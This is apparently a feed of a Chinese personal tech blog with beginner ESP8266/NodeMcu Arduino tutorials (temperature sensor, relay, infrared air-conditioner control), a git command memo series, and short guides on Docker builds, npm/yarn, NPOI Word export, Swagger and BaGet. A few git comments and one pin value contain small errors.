【项目】 –》【加载库】 –》【管理库】

安装

弹出窗口后，搜索、安装即可

查看示例代码

安装之后，【文件】 –》【示例】，就可以查看库带的示例代码，大多数库都有，这个示例代码是很好的教程。

方法二

直接下载库第三方库，下载的库放在库文件夹即可。通过【文件】 –> 【首选项】 –> 【项目文件夹位置】查看库文件夹位置

CP2102版和CH340版两种NodeMcu的区别和HW-628有什么不同

Thu, 21 Jan 2021 00:00:00 +0000

NodeMcu 常见的有两个版本，一般用通讯模块区分

CP2102版 : NodeMcu V1.0 ，作者是amica

CH340版 : NodeMcu v3，作者是Lolin

v3不是V1.0的升级版，可能是两个分支。

区别：

1、外观上v3比V1.0 大一些。

2、CP2102版 A0附近两个RSV引脚，在CH340版上是GND和VU（可以输出5v电压）。

3、usb供电时v1.0版vin引脚可以5V电压输出，v3版vin引脚没有5V输出,v3版5v电压输出在VU引脚上。

看网上有说ch340版在烧写时需按flash -> reset。我在操作的时候，没按也是可以烧写的，烧写后也正常工作。

新款

除了上面两款常见版本外，发现某宝上有一款“新款NodeMcu”挺多的,看上面标有 HW-628字样，暂且称他是HW-628。

有额外32M flash，价格很划算。在引脚、外观尺寸上完全兼容NodeMcu V1.0 (CP2102)版，有人说信号弱一些，我简单测了一下，不影响使用。而且vin引脚也可以5v电压输出，也就是说，除了外观长的不一样，应该可以替代cp2012版NodeMcu。

下面是三款的合影：

引脚原理图：

注意事项

1、NodeMcu的IIC（I2C）管脚是GOIO04和GPIO05，就是上面丝印的D1和D2。

DHT11温湿度传感器 - Arduino开发ESP8266(NodeMcu)学习记录

Mon, 18 Jan 2021 00:00:00 +0000

所需硬件

ESP8266 开发板（NodeMcu） x1

DHT11温湿度传感器 x1

面包板 x1

杜邦线若干

第三方库

DHT

可以直接安装

项目–>加载库–>管理库–> 搜索"DHT"安装

或者手动下载

下载地址：https://github.com/adafruit/DHT-sensor-library

线路图

实物图

代码

/**
  作者: Raikay (raikay.cn)
  时间: 2021/01/18
  说明: ESP8266接收DHT11温湿度传感器数据
  NodeMcu       DHT11
  3V3       -    正极
  D5        -    out
  GND       -    负极

**/
#include <DHT.h>
#define DHTPIN     14     //GPIO14 即NodeMcu D5
#define DHTTYPE   DHT11     // 定义你DHT11
DHT dht(DHTPIN, DHTTYPE);
//读取DHT的温度值
String readDHTTemperature() {
  float t = dht.readTemperature();
  if (isnan(t)) {
    Serial.println("Failed to read from DHT sensor!");
    return "--";
  }
  else {
    return String(t);
  }
}
//读取DHT的湿度值
String readDHTHumidity() {
  float h = dht.readHumidity();
  if (isnan(h)) {
    Serial.println("Failed to read from DHT sensor!");
    return "--";
  }
  else {
    return String(h);
  }
}
void setup() {
  pinMode(DHTPIN, OUTPUT);
  digitalWrite(DHTPIN, HIGH);
  Serial.begin(9600);
  dht.begin();
}
void loop() {
  //温度  temperature
  Serial.print("温度:");
  Serial.println(readDHTTemperature().c_str());
  //湿度  Humidity
  Serial.print("湿度:");
  Serial.println(readDHTHumidity().c_str());
  delay(1000);
  Serial.println("---------------");
}

串口显示

发射红外信号控制美的空调 - Arduino开发ESP8266(NodeMcu)学习记录

Sun, 17 Jan 2021 00:00:00 +0000

所需硬件

ESP8266 开发板（NodeMcu） x1

红外信号发射管Led x1

按键开关 x2

面包板 x1

杜邦线若干

第三方库

IRremoteESP8266

下载地址：https://github.com/crankyoldgit/IRremoteESP8266

线路图

红外发射管长的是正极，短的是负极。

实物图

按D3按键关闭空调，按D4开启空调

代码

红外信号原数据是从美的空调遥控器接收的

/**
  作者: Raikay (raikay.cn)
  时间: 2021/01/17
  说明: 红外发射管控制美的空调
  NodeMcu        红外发射管
  GND       -    负极
  D2        -    正极
**/
#include <Arduino.h>
#include <IRremoteESP8266.h>
#include <IRsend.h>

const uint16_t kIrLed = 4;  // NodeMcu D2

const uint16_t On1 = 0;  // d3
const uint16_t On2 = 2;  // d4

IRsend irsend(kIrLed);  // Set the GPIO to be used to sending the message.

// 美的空调原数据  关闭空调
uint16_t rawData1[199] = {4500, 4404,  588, 1578,  590, 488,  590, 1578,  590, 1578,  590, 488,  588, 488,  590, 1578,  590, 488,  586, 490,  588, 1580,  588, 490,  588, 488,  588, 1578,  588, 1580,  586, 490,  588, 1578,  588, 490,  588, 1578,  588, 1578,  588, 1578,  588, 1580,  588, 490,  588, 1580,  588, 1580,  586, 1580,  588, 490,  588, 490,  588, 490,  586, 490,  586, 1580,  588, 490,  586, 490,  586, 1580,  588, 1580,  586, 1580,  586, 490,  588, 490,  588, 490,  586, 490,  586, 490,  588, 490,  586, 490,  586, 490,  586, 1580,  586, 1580,  586, 1580,  586, 1580,  586, 1580,  586, 5208,  4496, 4410,  586, 1580,  588, 490,  586, 1580,  588, 1578,  588, 490,  586, 490,  586, 1580,  588, 490,  586, 490,  586, 1580,  586, 490,  588, 490,  586, 1580,  586, 1580,  588, 490,  586, 1580,  586, 490,  588, 1580,  586, 1580,  586, 1580,  586, 1580,  588, 490,  586, 1580,  588, 1580,  586, 1580,  588, 490,  588, 490,  586, 490,  586, 490,  586, 1582,  584, 492,  586, 490,  586, 1582,  584, 1582,  586, 1580,  586, 490,  586, 490,  586, 490,  586, 490,  586, 490,  586, 492,  586, 490,  586, 490,  590, 1576,  586, 1580,  588, 1580,  586, 1580,  586, 1580,  586};  // COOLIX B27BE0
// 美的空调原数据 开启空调 29度 制热
uint16_t rawData2[199] = {4508, 4394,  600, 1568,  600, 478,  600, 1568,  600, 1568,  598, 480,  598, 478,  598, 1568,  600, 478,  598, 478,  598, 1568,  598, 478,  600, 478,  598, 1568,  598, 1568,  598, 478,  600, 1568,  598, 480,  598, 478,  598, 1568,  598, 1568,  598, 1568,  600, 1568,  600, 1566,  600, 1568,  598, 1568,  600, 1568,  600, 478,  600, 476,  600, 478,  598, 478,  600, 478,  600, 478,  600, 1568,  600, 478,  600, 1568,  600, 478,  600, 1568,  600, 1566,  600, 478,  598, 478,  600, 476,  600, 1568,  600, 478,  600, 1566,  600, 478,  600, 478,  600, 1566,  600, 1568,  600, 5194,  4508, 4398,  600, 1566,  604, 474,  600, 1566,  600, 1566,  600, 476,  600, 476,  600, 1566,  600, 476,  600, 476,  600, 1568,  600, 476,  600, 476,  602, 1566,  598, 1568,  600, 476,  600, 1566,  600, 476,  600, 476,  600, 1566,  600, 1566,  600, 1566,  602, 1566,  600, 1568,  600, 1566,  600, 1566,  600, 1566,  600, 476,  600, 476,  600, 476,  602, 476,  600, 478,  600, 476,  600, 1566,  600, 478,  600, 1568,  600, 476,  600, 1566,  600, 1566,  600, 478,  600, 478,  600, 478,  600, 1568,  600, 476,  600, 1568,  600, 476,  600, 476,  602, 1566,  600, 1568,  598};  // COOLIX B23FAC

void setup() {
  irsend.begin();
#if ESP8266
  Serial.begin(115200, SERIAL_8N1, SERIAL_TX_ONLY);
#else
  Serial.begin(115200, SERIAL_8N1);
#endif

  pinMode(On1, INPUT_PULLUP);
  pinMode(On2, INPUT_PULLUP);
}

void loop() {
  int buttonState1 = digitalRead(On1);
  int buttonState2 = digitalRead(On2);

  if (buttonState1 != HIGH) {
    irsend.sendRaw(rawData1, 199, 38);
    delay(5);
    irsend.sendRaw(rawData1, 199, 38);
    delay(5);
    irsend.sendRaw(rawData1, 199, 38);
    Serial.println("buttonState1:" + buttonState1);
  }
  if (buttonState2 != HIGH)
  {
    irsend.sendRaw(rawData2, 199, 38);
    delay(5);
    irsend.sendRaw(rawData2, 199, 38);
    delay(5);
    irsend.sendRaw(rawData2, 199, 38);
    Serial.println("buttonState2:" + buttonState2);
  }
}

这里把信号发了三遍，是因为，发射一遍信号比较弱，必须角度找的非常准确，即使这样有的时候还接收不到，发射三遍时，可以在任意角度随意发射，空调都可以接收到信号，百发百中！~

接收红外信号VS1838B - Arduino开发ESP8266(NodeMcu)学习记录

Sun, 17 Jan 2021 00:00:00 +0000

所需硬件

VS1838B 红外接收头

ESP8266 开发板（NodeMcu）

红外信号遥控器

杜邦线 x3

第三方库

IRremoteESP8266

下载地址：https://github.com/crankyoldgit/IRremoteESP8266

红外接收头图片

线路图

实物图

代码

/**
  作者: Raikay (raikay.cn)
  时间: 2021/01/17
  说明: NodeMcu使用红外接收头接收红外信号
  NodeMcu -   VS1838B
  3v3     -    VCC
  GND     -    GND
  D5      -    OUT
**/

#include <Arduino.h>
#include <IRrecv.h>
#include <IRremoteESP8266.h>
#include <IRac.h>
//#include <IRtext.h>
#include <IRutils.h>

// 定义接收信号的引脚GPIO14，即NodeMcu的D5
const uint16_t kRecvPin = 14;

// (接收引脚，接收信号大小，超时时间)
IRrecv irrecv(kRecvPin, 1024, 50, true);

// 存储结果
decode_results results;

void setup() {

  Serial.begin(115200);

#if DECODE_HASH
  // 过滤未知信号值
  irrecv.setUnknownThreshold(12);
#endif
  irrecv.setTolerance(kTolerance);
  // 启动接收器
  irrecv.enableIRIn();
}

void loop() {
  // 是否收到消息
  if (irrecv.decode(&results)) {
    
    // 接收到的编码
    Serial.print("输出编码：");
    serialPrintUint64(results.value, HEX);
    Serial.println();
    
    // 协议和编码
    Serial.println("输出协议和编码：");
    Serial.println(resultToHumanReadableBasic(&results));
    yield();

    // 说明
    String description = IRAcUtils::resultAcToString(&results);
    Serial.println("输出说明：");
    if (description.length())
    {
      Serial.println("Mesg Desc.: " + description);
    } else
    {
      Serial.println("Mesg Desc.: 无");
    }

    // 原数据
    Serial.println("输出原数据：");
    Serial.println(resultToSourceCode(&results));
    Serial.println("------------------------分割线------------------------");
    yield();
  }
}

使用的红外遥控器

控制继电器 - Arduino开发ESP8266(NodeMcu)学习记录

Sat, 16 Jan 2021 00:00:00 +0000

示例代码：

通过D5引脚（GPIO14输出高低电平）控制继电器开合

/**
作者: Raikay (raikay.cn)
时间: 2021/01/16
说明: 控制继电器
NodeMcu -   继电器
VU      -    VCC
D5      -    OUT
GND     -    GND
**/
//定义引脚GPIO14，即Nodemcu D5引脚
int relay = 14;
void setup() {
  //设置引脚输出
  pinMode(relay, OUTPUT);
}
void loop() {
  //程序灯带1秒（1000毫秒）
  delay(1000);
  //设置高电平
  digitalWrite(relay, LOW);
  delay(1000);
  //设置低电平
  digitalWrite(relay, HIGH);
}

继电器

线路图

继电器是5v供电，NodeMcu两个版本输出5v的引脚不同。

CP2102版：Vin引脚输出5v

CH340版：VU引脚输出5v

也可以单独5v电源供电。

下图是CH340版

实物图

git命令备忘系列(八) - 使用技巧集合

Fri, 15 Jan 2021 00:00:00 +0000

一、Git彻底删除一次提交

这样删除之后，在历史记录中也查不到

git rebase --onto SHA^ SHA

SHA是错误的提交。

例如，删除cbe8527这次提交:

git rebase --onto cbe8527^ cbe8527

这条记录就从历史记录中消失了

二、git stash 工作状态保存

解决方案1

将当前工作状态保存

git stash save "保存说明"

恢复保存内容

git stash pop

如果有冲突， pop恢复时会失败，需要处理冲突

查看当前所有stash

#查看命令
$ git stash list

#结果如下：
stash@{0}: On stu_git_1: bug8
stash@{1}: On stu_git_1: bug3
stash@{2}: On stu_git_1: bug2
stash@{3}: On stu_git_1: bug1

恢复指定stash,恢复之后不删除stash

$ git stash apply stash@{1}

恢复指定stash,恢复冰删除stash

$ git stash pop stash@{1}

三、git cherry-pick用法重演commit

场景:

如果应用已经发布了一个版本2.0, 代码分支叫release-2.0, 现在正在开发3.0, 代码的分支叫dev-3.0. 那么有一天产品说, 要把正在开发的某个特性提前上线, 也就是说要把dev-3.0分支上的某些更改移到2.x的版本上, 那么怎么办呢?

串口调试 - Arduino开发ESP8266(NodeMcu)学习记录

Fri, 15 Jan 2021 00:00:00 +0000

示例代码：

void setup() {
  //初始化串口设置
  Serial.begin(9600);
}

void loop() {
  //获取程序开始运行的毫秒数
  long time = millis();

  //输出调试日志
  Serial.println(time);
}

选择开发板

选择端口

这个端口一般可能是 3、5、6根据设备和电脑环境不同有所区别，可以到电脑的设备管理器查看一下

(我机器插了两个板子，所以是下面这种情况，一般只会是COM3或COM5一个)

上传代码

查看串口调试窗口

【工具】–> 【串口调试】

说一下这个9600波特率，和代码上的一致就可以一般是9600、115200

我也可能会用esp8266系列的其他开发板，其实所有esp8266的板子代码是通用（比如 Wemos D1 R1、Wemos D1 R3 Uno、D1 mini、Wifiduino、ESPduino、WiFinfo），只要对照一下引脚图稍微改动一下差异的引脚就可以。

快速开始- Arduino开发ESP8266(NodeMcu)学习记录

Thu, 14 Jan 2021 00:00:00 +0000

环境安装

下载Arduino-IDE

官网：https://www.arduino.cc/
下载地址：https://www.arduino.cc/en/software
下载时不是一定要付费，选择JUST DOWNLOAD 免费下载

解压后双击EXE就可以打开了

安装驱动

驱动下载地址：https://gitee.com/raikay/elefiles/tree/main/tools/驱动

下载ESP8266库

文件–>首选项
把这个网址填到【附加开发版管理器】

http://arduino.esp8266.com/stable/package_esp8266com_index.json

工具–> 开发板–>开发板管理器

如果没有梯子下载可能会非常慢，可以用下面的直接安装工具

工具下载地址：https://gitee.com/raikay/elefiles/tree/main/开发板/esp8266

点亮LED

新建项目

代码

//定义引脚GPIO14，即Nodemcu D5引脚
int led = 14; 
void setup() {
  //设置led引脚输出
  pinMode(led, OUTPUT);
}
void loop() {
  //程序等待1秒（1000毫秒）
  delay(1000);
  //设置led引脚高电平
  digitalWrite(led, LOW); 
  delay(1000);
  //设置led引脚低电平
  digitalWrite(led, HIGH); 

}

线路图

实物图

选择开发板

选择端口

这个端口一般可能是 3、5、6根据设备和电脑环境不同有所区别，可以到电脑的设备管理器查看一下

(我机器插了两个板子，所以是下面这种情况，一般只会是COM3或COM5一个)

上传代码

运行效果

git命令备忘系列(七) - 标签操作（tag）

Wed, 13 Jan 2021 00:00:00 +0000

对于某些提交，我们可以为它打上Tag，表示这次提交很重要，比如为一些正式发布大版本的 commit，打上TAG，当某个版本出问题了，通过TAG可以快速找到此次提交对应的Hash值，直接切换到此次版本的代码去查找问题，比起一个个commit找省事多了。

git tag        #列出git中现有的所有标签
git tag -r        #查看远程标签
git tag [name]      #创建标签
git tag -d [name]      #删除本地标签
git push origin [name]       # 推送标签到远程仓库
git push origin --tags             # 删除所有本地仓库中不存在的标签
git push origin --delete tag [name]      #删除远程标签

在 git 中有两种最主要的标签–轻量级标签（lightweight）和带注释的标签（annotated）。轻量级标签跟分枝一样，不会改变。它就是针对某个特定提交的指针。然而，带注释的标签是git仓库中的对象。它是一组校验和，包含标签名、email、日期，标签信息，GPG签名和验证。一般情况下，建议创建带注释的标签，这样就会保留这些信息，但是如果你只是需要临时性标签或者某些原因你不想在标签中附带上面说的这些信息，lightweight标签更合适些。

带注释的标签

在git中创建带注释的标签非常简单，在运行’tag’命令时加上-a就可以了。

# 提交
$ git tag -a v1.4 -m ‘version 1.4′

#查看
$ git tag
v0.1
v1.3
v1.4

‘-m’指明标签信息，跟标签一起存储。如果你不使用-m指明标签信息，git会自动启动文本编辑器让你输入。
可以使用 git show 命令查看相应标签的版本信息，并连同显示打标签时的提交对象。

$ git show v1.4

git命令备忘系列(六) - 创建合并等分支操作（branch）

Tue, 12 Jan 2021 00:00:00 +0000

1、查看分支列表

git branch  #显示本地分支
git branch -r #显示远程所有分支

2、创建分支和切换分支

git branch branchName    # 创建分支
git checkout branchName1   #切换到 branchName1 分支
git checkout -b branchName2   #创建并切换到 branchName2分支

强制创建分支

git checkout -B branchName

为什么强制创建分支，比如已经有dev分支，打算创建新的dev分支，正常情况同名不允许创建，-B参数之后既可以成功创建

新创建的分支推送到远程仓库

git push --set-upstream origin branchName
git push origin branch1 #多个仓库时，指定origin仓库下 branch1分支

3、删除

git branch -d 分支名    # 删除分支，分支上有未提交更改是不能删除的
git branch -D 分支名    # 强行删除分支，尽管这个分支上有未提交的更改
git push origin --delete 分支名   #删除远程分支

4、恢复误删除分支

两步：找出被删分支最新的commit的Hash值，然后恢复分支：

git log --branches="被删除的分支名"     # 找到被删分支最新的commit版本号
git branch 分支名 版本号(前七位即可)    # 恢复被删分支

5、分支重命名

git branch -m 老分支名 新分支名     # 分支重命名

6、合并分支

branchName1 合并到当前分支

git命令备忘系列(五) - 版本恢复和撤销命令（reset）回滚操作

Mon, 11 Jan 2021 00:00:00 +0000

1、撤销本地（工作区）修改

git checkout fileName #指定文件撤销
git checkout .   #点表示撤销所有文件

checkout 只撤销已有(tracked)文件，新增文件（untracked）不会撤销

清除工作区新增（untracked）文件

git clean -df

2、撤销暂存区修改（已经add，未commit /push）

把添加（add）到暂存区的更改，恢复到工作区

git reset  #撤销暂存区全部文件
git reset  filename #指定文件

3、查看本地仓库修改(已经commit，未push)

git log 本地branch ^仓库 远程分支   #可以查看本地有远程没有的提交。
git log 远程分子 ^本地branch   #可以查看远程有，本地没有的提交。
git log master ^origin master #demo

4、撤销本地仓库修改(已经commit,未push)

仅仅是撤回commit操作，您写的代码仍然保留。

HEAD^的意思是上一个版本，也可以写成HEAD~1

如果你进行了2次commit，想都撤回，可以使用HEAD~2

git reset --soft HEAD^

参数说明：

--mixed

不删除工作空间改动代码，撤销commit，并且撤销git add . 操作
--soft

不删除工作空间改动代码，撤销commit，不撤销git add . 操作
--hard

删除工作空间改动代码，撤销commit，撤销git add .操作

5、远程仓库版本回退（已经push到远程仓库）

本地版本回退到指定的id

git reset --hard 4e0c318  #4e0c318 是提交的Id,git log/git reflog 等 可以查看

强制提交到远程仓库

git命令备忘系列(四) - 对比两个分支的差异（diff）

Sun, 10 Jan 2021 00:00:00 +0000

1、工作区与缓存区的差异

git diff

2、工作区与某分支的差异

远程分支这样写：remotes/origin/branchNmae

git diff branchNmae

3、工作区与HEAD指针指向的内容差异

git diff HEAD

示例：

git diff HEAD^             # 工作区与上次提交内容差异
git diff HEAD^^            # 上上次提交内容差异
git diff HEAD~3            # 也可以直接~次数
git diff head f42b15f5     # 也可以指定id

4、工作区某文件“当前版本”与“历史版本”的差异

git diff 提交id 文件路径

5、查看从某个版本后所有改动内容

git diff 版本TAG

6、查看两个分支指定文件的详细差异

git diff branch1 branch2 具体文件路径

7、查看所有有差异的文件的详细差异(也支持TAG)

git diff branch1 branch2

8、查看 branch1 分支有，而 branch2 中没有的 log

git log branch1 ^branch2

9、查看 branch2 中比 branch1 中多提交了哪些内容

列出来的是两个点后边（此处即 branch2）多提交的内容。

git log branch1..branch2

10、不知道谁提交的多谁提交的少，单纯想知道有什么不一样

git log branch1...branch2

11、在上述情况下，显示出每个提交是在哪个分支上

commit 后面的箭头，根据我们在 –left-right branch1…branch2 的顺序，左箭头 <表示 branch1 的，右箭头> 表示branch2 的。

git命令备忘系列(三) - 查看提交历史记录（log）

Sat, 09 Jan 2021 00:00:00 +0000

git log                 # 查看所有commit记录(SHA-A校验和，作者名称，邮箱，提交时间，提交说明)
git log -p -次数                # 查看最近多少次的提交记录
git log --stat                  # 简略显示每次提交的内容更改
git log --name-only             # 仅显示已修改的文件清单
git log --name-status           # 显示新增，修改，删除的文件清单
git log --oneline               # 让提交记录以精简的一行输出
git log –graph –all --online    # 图形展示分支的合并历史
git log --author=作者           # 查询作者的提交记录(和grep同时使用要加一个--all--match参数)
git log --grep=过滤信息         # 列出提交信息中包含过滤信息的提交记录
git log -S查询内容              # 和--grep类似，S和查询内容间没有空格
git log fileName              # 查看某文件的修改记录，找背锅专用
git blame 文件名             # 查看某文件的每一行内容的作者，最新commit和提交时间

除此之外，还可以通过 –pretty 对提交信息进行定制，比如：

占位符：

占位符	说明	占位符	说明
`%H`	提交对象（commit）的完整哈希字串	`%h`	提交对象的简短哈希字串
`%T`	树对象（tree）的完整哈希字串	`%t`	树对象的简短哈希字串
`%P`	父对象（parent）的完整哈希字串	`%p`	父对象的简短哈希字串
`%an`	作者（author）的名字	`%ae`	作者的电子邮件地址
`%ad`	作者修订日期（可以用 –date= 选项定制格式）	`%ar`	按多久以前的方式显示
`%cn`	提交者(committer)的名字	`%ce`	提交者的电子邮件地址
`%cd`	提交日期	`%cr`	提交日期，按多久以前的方式显示
`%s`	提交说明

参数：

选项	说明
`-p`	按补丁格式显示每个更新之间的差异
`–stat`	显示每次更新的文件修改统计信息(行数)
`–shortstat`	只显示 –stat 中最后的行数修改添加移除统计
`–name-only`	仅在提交信息后显示已修改的文件清单
`–name-status`	显示新增、修改、删除的文件清单
`–abbrev-commit`	仅显示 SHA-1 的前几个字符，而非所有的 40 个字符
`–relative-date`	使用较短的相对时间显示（比如，“2 weeks ago”）
`–graph`	显示 ASCII 图形表示的分支合并历史
`–pretty`	格式定制，可选选项有：oneline，short，full，Fullerton和format(后跟指定格式)

限制log输出参数：

选项	说明
`-(n)`	仅显示最近的 n 条提交
`–since, –after`	仅显示指定时间之后的提交。
`–until, –before`	仅显示指定时间之前的提交。
`–author`	仅显示指定作者相关的提交。
`–committer`	仅显示指定提交者相关的提交。
`–grep`	仅显示含指定关键字的提交
`-S`	仅显示添加或移除了某个关键字的提交

示例：

示例1：

git命令备忘系列(二) - 配置文件操作（config）

Fri, 08 Jan 2021 00:00:00 +0000

.gitconfig 配置文件

.giconfig配置文件共三个

system（系统）：C:\Program Files\Git\mingw64\etc\gitconfig，系统中所有用户都会生效
global（全局）：C:/Users/当前用户/.gitconfig当前系统用户下生效
local（本地）：项目路径/.git/config配置仅在当前项目生效

不同的系统路径可能不一样，可以通过：git config -e --system 和git config -e --global找到路径

优先级：local > global > system

常用命令：

# 配置
git config --global user.name "用户名"          # 配置用户名
git config --global user.email "用户邮箱"       # 配置邮箱
git config --global core.editor 编辑器          # 配置编辑器，模式使用vi或者vim

# 查看配置
git config --global user.name       # 查看配置的用户名
git config --global user.email      # 查看配置的邮箱

# 查看所有配置列表
git config --global --list      # 查看全局设置相关参数列表
git config --local --list       # 查看本地设置相关参数列表
git config --system --list      # 查看系统配置参数列表
git config --list               # 查看所有Git的配置(全局+本地+系统)

.gitignore 忽略规则配置

该文件位于项目的根目录，主要配置哪些文件/文件夹忽略不提交，且支持正则表达式。

git命令备忘系列(一) - 基础命令使用

Wed, 06 Jan 2021 00:00:00 +0000

1、克隆项目到本地

git clone https://github.com/raikay/gittest.git

2、拉取最新

git pull

3、添加文件到暂存区

git add 文件名  # 指定文件。
git add .      # 将当前工作区的所有文件都加入暂存区

4、将缓存区的内容提交到本地仓库

git commit -m "提交说明"
git commit --amend    #追加/修改上次提交、不新增提交记录

5、查看工作区与缓存区的状态「git status」

git status

6、推送到远程分支

git push
git push origin branch1 #多个仓库时，指定origin仓库下 branch1分支

7、获取帮助「help」

git 命令 -h

8、强制覆盖本地

// 从远程仓库下载最新版本
git fetch -all 
// 将本地设为刚获取的最新的内容
git reset --hard origin/master

9、本地已有项目初始化操作

初始化基础文件：git init
添加到暂存区：git add .
提交到本地仓库：git commit -m 'init'
添加远程远程仓库地址：git remote add origin https://github.com/raikay/gittest.git
推送到远程仓库：git push -u origin master

-u：创建 upStream上传流，只在初次推送代码时创建，以后就不用加-u参数了

ESP8266包括NodeMcu说明文档和每个版本属性对比图、管脚资料工具

Tue, 05 Jan 2021 00:00:00 +0000

规格书/管脚说明/文档

安信可官网各类ESP8266模组规格书汇总

ESP8266

版本对比图

图片来自安信可官网

NodeMcu

NodeMcu引脚以及区别见：CP2102版和CH340版两种NodeMcu的区别和HW-628有什么不同

Wemos D1 R3

对应引脚

static const uint8_t PIN_D0 = 3;            //RX
static const uint8_t PIN_D1 = 1;            //TX
static const uint8_t PIN_D2 = 16;           
static const uint8_t PIN_D3_D15 = 5;        //SCL
static const uint8_t PIN_D4_D14 = 4;        //SDA
static const uint8_t PIN_D5_D13 = 14;       //SCK
static const uint8_t PIN_D6_D12 = 12;       //MISO
static const uint8_t PIN_D7_D11 = 13;       //MOSI  
static const uint8_t PIN_D8 = 0;
static const uint8_t PIN_D9_LED = 2;        //LED
static const uint8_t PIN_D10 = 15;          //SS

static const uint8_t PIN_A0 = 17;

static const uint8_t PIN_RX = 3;
static const uint8_t PIN_TX = 1;
static const uint8_t PIN_SCL = 5;
static const uint8_t PIN_SDA = 4;
static const uint8_t PIN_SCK = 114;
static const uint8_t PIN_MISO = 12;
static const uint8_t PIN_MOSI = 13;
static const uint8_t PIN_SS = 15;
static const uint8_t PIN_LED = 2;

Wemos D1 mini

引脚图

引脚对应表

Pin	Function	ESP-8266 Pin
TX	TXD	TXD
RX	RXD	RXD
A0	Analog input, max 3.3V input	A0
D0	IO	GPIO16
D1	IO, SCL	GPIO5
D2	IO, SDA	GPIO4
D3	IO,10k Pull-up	GPIO0
D4	IO, 10k pull-up, BUILTIN_LED	GPIO2
D5	IO, SCK	GPIO14
D6	IO, MISO	GPIO12
D7	IO, MOSI	GPIO13
D8	IO,10k pull-down, SS	GPIO15
G	Ground	GND
5V	5V	–
3V3	3.3V	3.3V
RST	Reset	RST

All IO have interrupt/pwm/I2C/one-wire supported(except D0)

阿里云容器镜像服务提交代码自动构建Docker镜像教程

Tue, 15 Dec 2020 00:00:00 +0000

创建命名空间

创建仓库镜像

如果没有绑定账号，根据提示绑定一下账号，然后选择你的项目即可

镜像仓库–在对应的镜像点击【管理】

添加构建规则

这个镜像版本号建议 latest 在构建的时默认是latest

比如

# 默认
docker run -p 8000:80 --name mynginx -d nginx 
# 指定镜像版本
docker run -p 8000:80 --name mynginx -d nginx:1

现在每次提交代码到master会自动触发构建，也可以手动立即构建

Node.js包管理工具Yarn、npm安装以及常用命令

Mon, 14 Dec 2020 00:00:00 +0000

npm

NodeJs自带的工具，无需单独安装

# 安装nodejs
yum install -y nodejs

# 查看安装的版本
node -v 
# 安装n管理包，安装指定的nodejs版本
npm install -g n 
# 更新NodeJs版本

# 安装最新版本
n latest 
# 安装指定定版本
n 8.11.3

如果某些项目编译时提示安装Visual C ++ Build Tools 2017、.net framework 4.5.1、python2.7

执行命令：

npm install --global --production windows-build-tools

yarn的安装:

下载node.js，使用npm安装

npm install -g yarn
#查看版本：
yarn --version

yarn 淘宝源安装，分别复制粘贴以下代码行到黑窗口运行即可
yarn config set registry https://registry.npm.taobao.org -g
yarn config set sass_binary_site http://cdn.npm.taobao.org/dist/node-sass -g

鸣谢：

https://blog.csdn.net/yw00yw/article/details/81354533
https://www.cnblogs.com/liuxuande/p/14004627.html

NPOI 根据模板导出 word文档

Sat, 21 Nov 2020 00:00:00 +0000

文档模板：

单一字段替换：#batchNo#

需要循环的表格：$mx.NTime$

生成后文档：

调用方式：

NpoiHeplper.Export("OffShelfInfoTemplate.doc", $"new{dt}.doc", data);

data数据为字典格式

var dt = DateTime.Now.ToString("yyyyMMddHHmmss");
Dictionary<string, object> data = new Dictionary<string, object>();

List<Dictionary<string, object>> list = new List<Dictionary<string, object>>();

Dictionary<string, object> item1 = new Dictionary<string, object>();
item1.Add("NTime", "2020-11-21");
item1.Add("StoreName", "先南小吃");
item1.Add("Addres", "北京昌平区中街211");
item1.Add("Num", "5");
item1.Add("Name", "杨过");
list.Add(item1);

// new item2 item3 item4...
//list.Add(item2);
//list.Add(item3);
//list.Add(item4);
//new  xqList

data.Add("batchNo", $"No.{DateTime.Now.ToString("ddHHmmss")}");
data.Add("noticeTime", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
data.Add("userName", "张三");
data.Add("ApprovalDate", DateTime.Now.ToString("yyyy-MM-dd"));
data.Add("mx", list);
//data.Add("xq", xqList);

主要代码：

/// <summary>
/// 输出模板word文档
/// </summary>
/// <param name="tempFilePath">docx文件路径</param>
/// <param name="outPath">输出文件路径</param>
/// <param name="data">字典数据源</param>
public static void Export(string tempFilePath, string outPath, Dictionary<string, object> data)
{
    using (FileStream stream = File.OpenRead(tempFilePath))
    {
        XWPFDocument doc = new XWPFDocument(stream);
        //遍历段落                  
        foreach (var para in doc.Paragraphs)
        {
            ReplaceKey(para, data);
        }
        //遍历表格      
        foreach (var table in doc.Tables)
        {

            var ti = GetTableInfo(table, data);
            if (ti.IsList)
            {
                for (int i = 0; i < ti.Data.Count; i++)
                {
                    var nRow = new XWPFTableRow(Clone<CT_Row>(ti.RowTemp), table);
                    table.AddRow(nRow);
                    ReplaceRow(nRow, (Dictionary<string, object>)ti.Data[i]);
                }

            }
            foreach (var row in table.Rows)
            {
                foreach (var cell in row.GetTableCells())
                {
                    foreach (var para in cell.Paragraphs)
                    {
                        ReplaceKey(para, data);
                    }
                }
            }
        }
        //写文件
        FileStream outFile = new FileStream(outPath, FileMode.Create);
        doc.Write(outFile);
        outFile.Close();
    }
}

模板文件要设置为“始终复制”

DotNet Core 项目添加Swagger 自动构建接口文档

Mon, 08 Jun 2020 00:00:00 +0000

1、NuGet引用

Swashbuckle.AspNetCore

2、Startup类中ConfigureServices函数添加代码

#region Swagger
public void ConfigureServices(IServiceCollection services)
{
    services.AddMvc().SetCompatibilityVersion(CompatibilityVersion.Version_2_2);

    #region Swagger
    services.AddSwaggerGen(c =>
    {
        c.SwaggerDoc("v1", new Swashbuckle.AspNetCore.Swagger.Info
        {
            Version = "1.0",
            Title = "SwaggerDemo API",
            Description = "SwaggerDemo文档",
            TermsOfService = "None",
            Contact = new Swashbuckle.AspNetCore.Swagger.Contact { Name = "SwaggerDemo", Email = "raikay@163.com", Url = "http://www.raikay.cn/" }
        });
    });
    #endregion
}
#endregion

3、启动Http中间件：编辑Configure类

public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
    if (env.IsDevelopment())
    {
        app.UseDeveloperExceptionPage();
    }
    #region Swagger
    app.UseSwagger();
    app.UseSwaggerUI(c =>
    {
        c.SwaggerEndpoint("/swagger/v1/swagger.json", "SwaggerDemo API V1");
    });
    #endregion
    app.UseMvc();
}

4、查看效果

访问网址 http://localhost:5000/swagger/index.html

使用BaGet搭建自己的Nuget服务器

Sun, 17 May 2020 00:00:00 +0000

一、下载部署BaGet

BaGet下载地址：https://github.com/loic-sharma/BaGet

可以自己编译，也可以下载作者提供的Release版本

二、下载安装Nuget

